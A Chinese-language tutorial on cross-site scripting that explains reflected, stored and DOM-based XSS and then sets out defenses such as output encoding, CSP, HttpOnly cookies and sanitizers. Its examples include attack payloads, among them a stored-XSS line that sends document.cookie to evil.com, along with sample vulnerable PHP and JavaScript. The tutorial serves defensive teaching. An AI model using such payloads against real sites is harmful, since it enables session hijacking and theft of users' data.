【安全】XSS 之攻击与防御

```markdown

XSS 之攻击与防御

跨站脚本攻击(XSS)是一种常见的 Web 安全漏洞,攻击者通过在页面中注入恶意脚本,当其他用户访问时,脚本会在其浏览器中执行,从而窃取信息、劫持会话或进行钓鱼等。


一、XSS 攻击的三种类型

1. 反射型 XSS(非持久型)

恶意脚本通过 URL 参数等一次性提交,服务端直接将参数内容"反射"到响应页面中,导致脚本在受害者浏览器执行。

**攻击示例**:

```html

https://example.com/search?q=\<script>alert(document.cookie)</script>

```

若服务端直接将 q 参数的值插入 HTML:

```php

<?php echo "<p>搜索结果: " . $_GET'q' . "</p>"; ?>

```

用户点击恶意链接后,脚本就执行了。

特点:需要诱导用户点击链接,一次性触发。

  1. 存储型 XSS(持久型)

攻击者将恶意脚本提交并存储到服务器(如数据库、日志、评论等),当其他用户请求展示这些数据时,脚本从服务器取出并在浏览器执行。

攻击示例:

· 在留言板提交:<script>new Image().src='http://evil.com/steal?c='+document.cookie\</script>

· 所有访问留言板的用户,其 Cookie 都会被悄悄发送到攻击者服务器。

特点:危害最大,一旦植入,所有访问相关页面的用户都可能中招。

  1. DOM 型 XSS

纯粹在客户端发生的漏洞。恶意脚本通过修改页面的 DOM 环境执行,服务端返回的 HTML 本身可能没有变化,但客户端 JavaScript 处理数据时,将不可信的数据动态写入到了可执行上下文中。

攻击示例:

```html

<!-- 页面中有这样的 JS -->

<script>

var hash = location.hash.substring(1);

document.getElementById("content").innerHTML = hash;

</script>

```

当用户访问 http://example.com/page#\,innerHTML 插入的 img 标签会触发 onerror 事件执行脚本。

特点:浏览器 URL 的 fragment(#之后的部分)不会发送到服务器,因此有时更难被 WAF 检测。


二、XSS 的危害

· 窃取 Cookie:通过 document.cookie 拿到会话标识,劫持用户登录态。

· 键鼠记录:监听键盘事件,记录账号密码。

· 重定向钓鱼:将页面跳转到伪造的登录页。

· 篡改网页内容:插入虚假广告、恶意链接。

· 浏览器挖矿:植入 JS 挖矿脚本消耗用户 CPU。

· 结合其他漏洞:如配合 CSRF 进行蠕虫传播(如曾经的新浪微博 XSS 蠕虫)。


三、XSS 的防御

防御的核心原则:永远不要信任用户的输入,对所有动态输出的数据进行合适的编码或转义。

  1. 输出编码(关键防御)

根据数据放入的上下文,选择正确的编码方式:

上下文 不安全写法 安全防御

HTML 元素内容 <?= username ?\> 使用 htmlspecialchars(username, ENT_QUOTES, 'UTF-8') 将 < > " ' 等转为实体

HTML 属性值 <input value="<?= $val ?>"> 同上,且属性值必须用引号包裹;对不可信数据避免放入 href、onclick 等事件属性

JavaScript 中 var name = '<?= $name ?>'; 需要将数据转为安全的 JS 字符串,如先 JSON 序列化再去除危险字符,或采用安全的 API 传递数据。更推荐避免在 <script> 标签内直接插入不可信数据,改用 data-* 属性或 <meta> 标签,再通过 JS 读取。

CSS 中 background: url(<?= $url ?>); 极其危险,应避免动态控制 CSS。需要的话使用严格的 URL 白名单验证。

URL 参数中 href="<?= $link ?>" 检查协议只允许 http:、https: 或相对路径,并做 URL 编码。不可让用户完全控制整个链接地址。

现代前端框架(React、Vue、Angular)默认会对 { } 插值进行 HTML 转义,能防御大部分 XSS。但必须注意:

· React 中 dangerouslySetInnerHTML

· Vue 中的 v-html

· Angular 中的 innerHTML

这些都会绕过转义,应杜绝将不可信数据传入其中。

  1. 输入验证

· 白名单验证:比如手机号、邮箱、纯数字等限定格式。

· 黑名单过滤:不可靠,易被绕过,仅作辅助。

· 长度限制:能增加利用难度,但不能根本解决。

· 对于富文本输入(如论坛帖子),应使用安全的 HTML 净化库,如 DOMPurify(前端)或服务端的 OWASP Java HTML Sanitizer 等,严格限制允许的标签和属性。

  1. 设置 HttpOnly Cookie

会话 Cookie 加上 HttpOnly 属性,可阻止 JavaScript 通过 document.cookie 读取,即便存在 XSS 也无法直接窃取会话 ID。

```

Set-Cookie: sessionid=xxx; HttpOnly; Secure; SameSite=Lax

```

  1. 内容安全策略(CSP)

CSP 是纵深防御的利器,通过 HTTP 响应头或 <meta> 标签告诉浏览器哪些资源可以加载、脚本从哪里可以执行。

严格 CSP 示例:

```

Content-Security-Policy: script-src 'self' 'nonce-随机值'; object-src 'none'; base-uri 'self';

```

· 这样即使攻击者注入 <script> 标签,因为来源不是 'self' 且没有正确的 nonce,脚本也不会执行。

· 建议使用严格的 nonce(每次请求随机生成)或 hash 模式,避免使用 'unsafe-inline'。

  1. 使用安全的 DOM 操作

在原生 JS 中,避免使用会解析 HTML 的 API 传入不可信数据:

· 危险:innerHTML、outerHTML、document.write()、eval()。

· 安全替代:textContent(仅渲染文本)、createElement 配合 setAttribute(仍需注意属性值风险),或直接使用框架的安全绑定。

  1. 避免将不可信数据直接传入 JavaScript

常见危险模式:

```javascript

// 危险:服务端直接拼接

var user = '<?=$username?>';

// 如果 $username 是 '; alert(1); // 就能逃逸。

// 推荐:用 JSON 序列化后嵌入

var user = <?= json_encode($username, JSON_HEX_TAG | JSON_HEX_AMP) ?>;

```

JSON 序列化可安全地将数据从服务端传递给前端的 JavaScript 变量。

  1. 配合其他安全头

· X-Content-Type-Options: nosniff 防止浏览器 MIME 嗅探执行脚本。

· Referrer-Policy 控制 Referer 泄露。

· X-XSS-Protection 这个头已经很陈旧,现在浏览器已基本弃用,不应依赖它。


四、总结防御清单

· ✅ 模板/框架默认转义,避免使用 innerHTML / v-html / dangerouslySetInnerHTML 插入不可信数据

· ✅ 根据输出上下文选择正确的编码函数(HTML 实体、JS 编码、URL 编码等)

· ✅ 富文本场景使用白名单净化器(如 DOMPurify)

· ✅ Cookie 设置 HttpOnly; Secure; SameSite=Strict

· ✅ 部署严格的 CSP,使用 nonce 或 hash 禁止内联脚本

· ✅ 输入做服务端白名单校验(不依赖前端验证)

· ✅ 避免 JSONP、eval、动态脚本加载等危险操作

· ✅ 定期安全测试和代码审计

XSS 防御无法靠单一措施完全杜绝,需要层层设防。深层防御的组合策略能将风险降到最低。

```